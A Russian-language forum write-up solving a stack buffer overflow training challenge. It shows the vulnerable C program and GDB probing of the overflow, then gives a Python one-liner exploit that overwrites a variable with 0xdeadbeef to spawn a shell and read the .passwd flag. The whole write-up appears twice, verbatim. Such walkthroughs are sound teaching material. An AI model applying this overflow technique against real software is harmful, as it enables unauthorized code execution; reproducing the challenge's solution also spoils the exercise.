fuzzz
10.05.2019, 15:41
App-System, ELF x86 - Stack buffer overflow basic 1
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SRCSource code access
Source code:
C:
#include
#include
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int
main
(
)
{
int
var
;
int
check
=
0x04030201
;
char
buf
[
40
]
;
fgets
(
buf
,
45
,
stdin
)
;
printf
(
"\n[buf]: %s\n"
,
buf
)
;
printf
(
"[check] %p\n"
,
check
)
;
if
(
(
check
!=
0x04030201
)
&&
(
check
!=
0xdeadbeef
)
)
printf
(
"\nYou are on the right way!\n"
)
;
if
(
check
==
0xdeadbeef
)
{
printf
(
"Yeah dude! You win!\nOpening your shell...\n"
)
;
system
(
"/bin/dash"
)
;
printf
(
"Shell closed! Bye.\n"
)
;
}
return
0
;
}
Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг.
Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.
gdb -q ./ch13
r
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM MMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY ZZZZ
q
https://forum.antichat.xyz/attachments/29020379/img_722496e70a.png
Видно такую конструкцию
[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
[check] 0x4b4b4b4b
эти данные говорят
[buf] что это та строчка которая влезла в буфер и за его пределы
[check] текущие значение переменной
Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check.
python
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK")
chr(0x4b)
quit()
https://forum.antichat.xyz/attachments/29020379/img_1a34d011e5.png
Видно и становится ясно, что это 0x4b4b4b4b == "KKKK"
По условию задания check должен быть значению 0xdeadbeefтогда откроется шелл, после чего можно получить флаг.
Составим эксплойт.
40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef.
Чтобы не мучатся, адреса воспользуемся модулем struct.
(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13
затем с помощью cat узнаем содержимое .passwd
cat .passwd
Сtrl+D
- выход.
https://forum.antichat.xyz/attachments/29020379/img_0b3603e549.png
Вот таким образом можно получить флаг.
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SRCSource code access
Source code:
C:
#include
#include
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int
main
(
)
{
int
var
;
int
check
=
0x04030201
;
char
buf
[
40
]
;
fgets
(
buf
,
45
,
stdin
)
;
printf
(
"\n[buf]: %s\n"
,
buf
)
;
printf
(
"[check] %p\n"
,
check
)
;
if
(
(
check
!=
0x04030201
)
&&
(
check
!=
0xdeadbeef
)
)
printf
(
"\nYou are on the right way!\n"
)
;
if
(
check
==
0xdeadbeef
)
{
printf
(
"Yeah dude! You win!\nOpening your shell...\n"
)
;
system
(
"/bin/dash"
)
;
printf
(
"Shell closed! Bye.\n"
)
;
}
return
0
;
}
Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг.
Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.
gdb -q ./ch13
r
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM MMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY ZZZZ
q
https://forum.antichat.xyz/attachments/29020379/img_722496e70a.png
Видно такую конструкцию
[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
[check] 0x4b4b4b4b
эти данные говорят
[buf] что это та строчка которая влезла в буфер и за его пределы
[check] текущие значение переменной
Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check.
python
len("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK")
chr(0x4b)
quit()
https://forum.antichat.xyz/attachments/29020379/img_1a34d011e5.png
Видно и становится ясно, что это 0x4b4b4b4b == "KKKK"
По условию задания check должен быть значению 0xdeadbeefтогда откроется шелл, после чего можно получить флаг.
Составим эксплойт.
40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef.
Чтобы не мучатся, адреса воспользуемся модулем struct.
(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13
затем с помощью cat узнаем содержимое .passwd
cat .passwd
Сtrl+D
- выход.
https://forum.antichat.xyz/attachments/29020379/img_0b3603e549.png
Вот таким образом можно получить флаг.